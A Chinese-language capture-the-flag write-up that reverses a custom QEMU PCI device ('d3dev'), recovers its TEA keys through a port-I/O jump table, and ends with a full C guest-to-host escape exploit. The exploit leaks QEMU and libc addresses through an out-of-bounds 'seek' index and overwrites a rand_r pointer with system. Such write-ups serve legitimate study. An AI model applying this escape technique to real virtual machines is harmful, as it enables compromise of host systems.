D3ctf-2021-Qualifier-Pwn-D3dev

描述

d3devState结构体:

d3devState
struct __attribute__((aligned(16))) {
    PCIDevice_0 pdev;
    MemoryRegion_0 mmio;
    MemoryRegion_0 pmio;
    uint32_t memory_mode;
    uint32_t seek;
    uint32_t init_flag;                 ; 标志是否初始化
    uint32_t mmio_read_part;
    uint32_t mmio_write_part;
    uint32_t r_seed;
    uint64_t blocks[257];
    uint32_t key[4];                    ; 4个随机数(rand())
    int (*rand_r)(unsigned int *);
}

pci_d3dev_realize:

void __fastcall pci_d3dev_realize(PCIDevice_0 *pdev, Error_0 **errp)
{
memory_region_init_io(
    (MemoryRegion_0 *)&pdev[1],
    &pdev->qdev.parent_obj,
    &d3dev_mmio_ops,
    pdev,
    "d3dev-mmio",
    0x800uLL);
pci_register_bar(pdev, 0, 0, (MemoryRegion_0 *)&pdev[1]);
memory_region_init_io(
    (MemoryRegion_0 *)&pdev[1].name[56],
    &pdev->qdev.parent_obj,
    &d3dev_pmio_ops,
    pdev,
    "d3dev-pmio",
    0x20uLL);
pci_register_bar(pdev, 1, 1u, (MemoryRegion_0 *)&pdev[1].name[56]);
}

可以看到mmio操作结构体d3dev_mmio_ops,大小0x800,pmoi操作结构体d3dev_pmio_ops,大小0x20

void __fastcall d3dev_instance_init(Object_0 obj)
{
d3devState
v1; // rbx
unsigned int v2; // eax
int v3; // eax

v1 = (d3devState )object_dynamic_cast_assert(
obj,
“d3dev”,
“/home/eqqie/CTF/qemu-escape/qemu-source/qemu-3.1.0/hw/misc/d3dev.c”,
213,
“d3dev_instance_init”);
v1->rand_r = (int (
)(unsigned int *))&rand_r;
if ( !v1->init_flag )
{
v2 = time(0LL);
srand(v2);
v1->key[0] = rand();
v1->key[1] = rand();
v1->key[2] = rand();
v3 = rand();
v1->init_flag = 1;
v1->key[3] = v3;
}
}

接下来看mmio和pmio的操作

分析

MMIO

d3dev_mmio_read

已知key[0-3]是一组随机数,addr是我们传进来的地址,在如下循环中

do
{
LODWORD(result) = result - ((v5 + v4) ^ (opaque->key[3] + (v5 >> 5)) ^ (opaque->key[2] + 16 * v5));
v5 -= (result + v4) ^ (opaque->key[1] + ((unsigned int)result >> 5)) ^ (opaque->key[0] + 16 * result);
v4 += 0x61C88647;
}
while ( v4 );
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
uint64_t v3; // rax
unsigned int v4; // esi
unsigned int v5; // ecx
uint64_t result; // rax

v3 = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];
v4 = 0xC6EF3720;
v5 = v3;
result = HIDWORD(v3);
do
{
LODWORD(result) = result - ((v5 + v4) ^ (opaque->key[3] + (v5 >> 5)) ^ (opaque->key[2] + 16 * v5));
v5 -= (result + v4) ^ (opaque->key[1] + ((unsigned int)result >> 5)) ^ (opaque->key[0] + 16 * result);
v4 += 0x61C88647;
}
while ( v4 );
if ( opaque->mmio_read_part )
{
opaque->mmio_read_part = 0;
result = (unsigned int)result;
}
else
{
opaque->mmio_read_part = 1;
result = v5;
}
return result;
}

d3dev_mmio_write

void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
__int64 v4; // rsi
ObjectClass_0 **v5; // r11
uint64_t v6; // rdx
int v7; // esi
uint32_t v8; // er10
uint32_t v9; // er9
uint32_t v10; // er8
uint32_t v11; // edi
unsigned int v12; // ecx
uint64_t v13; // rax

if ( size == 4 )
{
v4 = opaque->seek + (unsigned int)(addr >> 3);
if ( opaque->mmio_write_part )
{
v5 = &opaque->pdev.qdev.parent_obj.class + v4;
v6 = val << 32;
v7 = 0;
opaque->mmio_write_part = 0;
v8 = opaque->key[0];
v9 = opaque->key[1];
v10 = opaque->key[2];
v11 = opaque->key[3];
v12 = v6 + *((_DWORD *)v5 + 0x2B6);
v13 = ((unsigned __int64)v5[0x15B] + v6) >> 32;
do
{
v7 -= 0x61C88647;
v12 += (v7 + v13) ^ (v9 + ((unsigned int)v13 >> 5)) ^ (v8 + 16 * v13);
LODWORD(v13) = ((v7 + v12) ^ (v11 + (v12 >> 5)) ^ (v10 + 16 * v12)) + v13;
}
while ( v7 != 0xC6EF3720 );
v5[347] = (ObjectClass_0 *)__PAIR64__(v13, v12);
}
else
{
opaque->mmio_write_part = 1;
opaque->blocks[v4] = (unsigned int)val;
}
}
}

编程访问MMIO

unsigned char* mmio_mem;

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}

int main(int argc, char *argv[])
{

// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
}

PMIO

d3dev_pmio_read

uint64_t __fastcall d3dev_pmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax

if ( addr > 0x18 )
result = -1LL;
else
result = ((__int64 (__fastcall *)(d3devState *))((char *)dword_7ADF30 + dword_7ADF30[addr]))(opaque);
return result;
}

这里实际上有一波混淆,汇编里是这样的:

.text:00000000004D7D00 ; uint64_t __fastcall d3dev_pmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
.text:00000000004D7D00 d3dev_pmio_read proc near               ; DATA XREF: .data.rel.ro:d3dev_pmio_ops↓o
.text:00000000004D7D00 addr = rsi                              ; hwaddr
.text:00000000004D7D00 size = rdx                              ; unsigned int
.text:00000000004D7D00 opaque = rdi                            ; void *
.text:00000000004D7D00 ; __unwind {
.text:00000000004D7D00                 endbr64
.text:00000000004D7D04 d3dev = rdi                             ; d3devState *
.text:00000000004D7D04                 cmp     addr, 18h
.text:00000000004D7D08                 ja      short loc_4D7D20
.text:00000000004D7D0A                 lea     size, table
.text:00000000004D7D11                 movsxd  rax, dword ptr [rdx+addr*4]
.text:00000000004D7D15                 add     rax, rdx
.text:00000000004D7D18                 db      3Eh
.text:00000000004D7D18                 jmp     rax
.text:00000000004D7D18 ; ---------------------------------------------------------------------------
.text:00000000004D7D1B                 align 20h
.text:00000000004D7D20
.text:00000000004D7D20 loc_4D7D20:                             ; CODE XREF: d3dev_pmio_read+8↑j
.text:00000000004D7D20                 mov     rax, 0FFFFFFFFFFFFFFFFh
.text:00000000004D7D27                 retn
.text:00000000004D7D27 d3dev_pmio_read endp
.text:00000000004D7D27
.text:00000000004D7D27 ; ---------------------------------------------------------------------------
.text:00000000004D7D28                 align 10h
.text:00000000004D7D30                 mov     eax, [rdi+12ECh]
.text:00000000004D7D36                 retn
.text:00000000004D7D36 ; ---------------------------------------------------------------------------
.text:00000000004D7D37                 align 20h
.text:00000000004D7D40                 mov     eax, [rdi+0AC0h]
.text:00000000004D7D46                 retn
.text:00000000004D7D46 ; ---------------------------------------------------------------------------
.text:00000000004D7D47                 align 10h
.text:00000000004D7D50                 mov     eax, [rdi+0AC4h]
.text:00000000004D7D56                 retn
.text:00000000004D7D56 ; ---------------------------------------------------------------------------
.text:00000000004D7D57                 align 20h
.text:00000000004D7D60                 mov     eax, [rdi+12E0h]
.text:00000000004D7D66                 retn
.text:00000000004D7D66 ; ---------------------------------------------------------------------------
.text:00000000004D7D67                 align 10h
.text:00000000004D7D70                 mov     eax, [rdi+12E4h]
.text:00000000004D7D76                 retn
.text:00000000004D7D76 ; ---------------------------------------------------------------------------
.text:00000000004D7D77                 align 20h
.text:00000000004D7D80                 mov     eax, [rdi+12E8h]
.text:00000000004D7D86                 retn
.text:00000000004D7D86 ; } // starts at 4D7D00

table以32位显示是这样的:

.rodata:00000000007ADF30                ; int table[28]
.rodata:00000000007ADF30 10 9E D2 FF    table           dd 0FFD29E10h           ; DATA XREF: d3dev_pmio_read+A↑o
.rodata:00000000007ADF34 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF38 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF3C F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF40 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF44 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF48 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF4C F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF50 20 9E D2 FF                    dd 0FFD29E20h
.rodata:00000000007ADF54 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF58 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF5C F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF60 30 9E D2 FF                    dd 0FFD29E30h
.rodata:00000000007ADF64 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF68 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF6C F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF70 40 9E D2 FF                    dd 0FFD29E40h
.rodata:00000000007ADF74 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF78 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF7C F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF80 50 9E D2 FF                    dd 0FFD29E50h
.rodata:00000000007ADF84 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF88 F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF8C F0 9D D2 FF                    dd 0FFD29DF0h
.rodata:00000000007ADF90 00 9E D2 FF 00+                dq 0FFD29E00h
.rodata:00000000007ADF98 00 00 00 00 00+                dq 0

流程就是,首先假设我们传进来的addr是0,那么获取table[0],由指令movsxd运算,将32位的0xFFD29E10扩展为64位地址,

高位用符号位补齐,即扩展为0xFFFFFFFFFFD29E10,然后再加上前面lea读取的table的地址,即00000000007ADF30这个地址,

得到目标地址0x100000000004d7d40,即:

.text:00000000004D7D40 8B 87 C0 0A 00+                mov     eax, [rdi+0AC0h]
.text:00000000004D7D40 00
.text:00000000004D7D46 C3                             retn

据此我们可以把table中的全部地址计算出目标地址,以及对应的addr:

0FFD29E00h -> 0x100000000004d7d30 -> 0x18
0FFD29E10h -> 0x100000000004d7d40 -> 0x00
0FFD29E20h -> 0x100000000004d7d50 -> 0x08
0FFD29E30h -> 0x100000000004d7d60 -> 0x0c
0FFD29E40h -> 0x100000000004d7d70 -> 0x10
0FFD29E50h -> 0x100000000004d7d80 -> 0x14
0FFD29DF0h -> 0x100000000004d7d20 -> check failed

实际上根据出现次数也能看出来,0FFD29DF0h会跳转到

.text:00000000004D7D20 48 C7 C0 FF FF+                mov     rax, 0FFFFFFFFFFFFFFFFh
.text:00000000004D7D20 FF FF
.text:00000000004D7D27 C3                             retn

即check failed的块,所以我们的addr只能是0x20/4,0x30/4,0x40/4,0x50/4,0x60/4,即0x8,0xc,0x10,0x14,0x18

00000000 d3devState      struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev            PCIDevice_0 ?
000008E0 mmio            MemoryRegion_0 ?
000009D0 pmio            MemoryRegion_0 ?
00000AC0 memory_mode     dd ?
00000AC4 seek            dd ?
00000AC8 init_flag       dd ?
00000ACC mmio_read_part  dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed          dd ?
00000AD8 blocks          dq 257 dup(?)
000012E0 key             dd 4 dup(?)             ; 4个double word,1个是4字节,即12e0,12e4,12e8,12ec
000012F0 rand_r          dq ?                    ; offset
000012F8                 db ? ; undefined
000012F9                 db ? ; undefined
000012FA                 db ? ; undefined
000012FB                 db ? ; undefined
000012FC                 db ? ; undefined
000012FD                 db ? ; undefined
000012FE                 db ? ; undefined
000012FF                 db ? ; undefined
00001300 d3devState      ends

根据上述的d3devState结构体来看,我们传进来的addr的值,可以分别读取

0x18: opaque + 0x12ec: opaque->key[3]
0x00: opaque + 0x0ac0: opaque->memory_mode
0x08: opaque + 0x0ac4: opaque->seek
0x0c: opaque + 0x12e0: opaque->key[0]
0x10: opaque + 0x12e4: opaque->key[1]
0x14: opaque + 0x12e8: opaque->key[2]

看W&M的师傅写的WP,有一波操作可以把这里转换成switch结构,后续搞懂怎么弄补一下

d3dev_pmio_write

// local variable allocation has failed, the output may be wrong!
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *v4; // rbp

if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->seek = val;
}
else if ( addr > 8 )
{
if ( addr == 28 )
{
opaque->r_seed = val;
v4 = opaque->key;
do
*v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(
&opaque->r_seed,
28LL,
val,
*(_QWORD *)&size);
while ( v4 != (uint32_t *)&opaque->rand_r );
}
}
else if ( addr )
{
if ( addr == 4 )
{
*(_QWORD *)opaque->key = 0LL;
*(_QWORD *)&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}

编程访问pmio


uint32_t pmio_base=0xc040; // 0xc040 - 0xc05f

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}

uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}

int main(int argc, char *argv[])
{

// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");
pmio_write(pmio_base+0,0);
pmio_write(pmio_base+4,1);

}

利用


#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#define MMIO_FILE "/sys/devices/pci0000:00/0000:00:03.0/resource0"
#define PMIO_BASE 0xC040
#define SYSTEM_PLT_OFFSET 0x2a6250
void * mmio_mem;
void * pmio_mem;
void * qemu_pie;
uint32_t key_list[4];
uint32_t encrypto_key = 0;

uint64_t system_plt = 0;

void init_io(){
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}
void tea_encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
void tea_decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
uint32_t pmio_read(uint32_t offset){
uint32_t return_data = (uint32_t)inl(PMIO_BASE + offset);
return return_data;
}

void pmio_write(uint32_t offset,uint32_t val){
outl(val,PMIO_BASE + offset);
}
void mmio_write_i32(uint32_t offset,uint32_t val){
*(uint32_t *)(mmio_mem + offset) = val;
}
void mmio_write_i64(uint64_t offset,uint64_t val){
*(uint64_t *)(mmio_mem + offset) = val;
}
uint64_t mmio_read_i64(uint64_t offset){
return *(uint64_t *)(mmio_mem + offset);
}
uint32_t mmio_read_i32(uint32_t offset){
return *(uint32_t *)(mmio_mem + offset);
}
void mmio_real_write(uint32_t offset,uint32_t val){
if(((offset / 0x4) % 2) == 0){
pmio_write(offset,val);
pmio_write(offset,val);
}else{
pmio_write(offset,val);
}
}
void modify_mmio_qword_offset(uint32_t offset){
pmio_write(0x8,offset);
}
uint32_t get_mmio_qword_offset(){
encrypto_key = pmio_read(8);
return encrypto_key;
}
void debug(){
puts("DEBUG!!!!!!");
}
int read_num(){
char buf[0x30];
memset(buf,0,0x30);
read(0,buf,0x30);
return atoi(buf);
}
void get_tea_key(){
key_list[0] = pmio_read(0xc);
key_list[1] = pmio_read(0x10);
key_list[2] = pmio_read(0x14);
key_list[3] = pmio_read(0x18);
printf("[Success] get tea key: %p %p %p %p\\n",key_list[0],key_list[1],key_list[2],key_list[3]);

}
void decode_tea(uint32_t * values){
tea_encrypt(values,key_list);//tea crypto is reversible
}
void * leak_qemu_pie(){
printf("[Info] mmio qword offset => %x\\n",get_mmio_qword_offset());
puts("[Info] leak qemu pie...");
mmio_write_i32(8 * 0,0xdeadbeef);
modify_mmio_qword_offset(18);
uint32_t val1 = mmio_read_i32(0x7F8);
uint32_t val2 = mmio_read_i32(0x7F8);
uint32_t list1[2];
list1[0] = val1;
list1[1] = val2;
decode_tea(list1);
uint64_t return_ptr = list1[0] + ((uint64_t)list1[1] << 32);
printf("%p %p\\n",list1[0],list1[1]);
return_ptr = ((uint64_t) return_ptr) - (0x55d137928250 - 0x55d1374a6000);
return (void *)return_ptr;
}
void calc_plt_function(){
system_plt = qemu_pie + 0x2A6250;
printf("[Info] system_plt => %p\\n",system_plt);

}
void rce(char * command){
modify_mmio_qword_offset(0x100);
uint32_t val1 = mmio_read_i32(0x8 * 3);
uint32_t val2 = mmio_read_i32(0x8 * 3);
uint32_t list1[2];
list1[0] = val1;
list1[1] = val2;
decode_tea(list1);
uint64_t libc_rand_r = list1[0] + ((uint64_t)list1[1] << 32);

uint64_t libc_system = libc_rand_r + (0x7f4b637c2410 - 0x7f4b637b7eb0);
printf("[Info] rand_r_ptr => %p\\n",libc_rand_r);
printf("[Info] libc_system => %p\\n",libc_system);

val1 = system_plt % 0x100000000;
val2 = system_plt >> 32;
list1[0] = val1;
list1[1] = val2;
tea_decrypt(list1,key_list);

//uint32_t val = mmio_read_i64(0x8 * 3 + 4);
//printf("val = %p\\n",val);
//pmio_write(0x0,0xdeadcafe);
//mmio_write_i64(8 * 3,0);
uint64_t num = list1[0] + ((uint64_t)list1[1] << 32);
printf("num => %p\\nlist1[0] = %p list1[1] = %p\\n",num,val1,val2);
mmio_write_i32(8 * 0,num);
mmio_write_i64(8 * 3,num);
mmio_write_i64(8 * 3,num);



pmio_write(0x1c,0x006873);

}
void exploit(){
int mmio_fd = open(MMIO_FILE,O_RDWR | O_SYNC);
if (mmio_fd < 0){
puts("mmio_fd open failed");
exit(-1);
}
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED){
puts("mmio_mem mmap failed");
exit(-1);
}
printf("[Info] mmio_mem => %p\\n",mmio_mem);

get_tea_key();
qemu_pie = leak_qemu_pie();
printf("[Success] qemu_pie => %p\\n",qemu_pie);

puts("[Info] Calc functions offset");
calc_plt_function();

puts("[Info] Start rce!");
rce("echo aaaa>/flag");

}
void init_data(){
if(iopl(3) != 0){
puts("[Error] IO permission denied!");
exit(-1);
}

}
int main(int argc,char * argv[]){
init_io();
init_data();
exploit();
return 0;
}

小结

Reference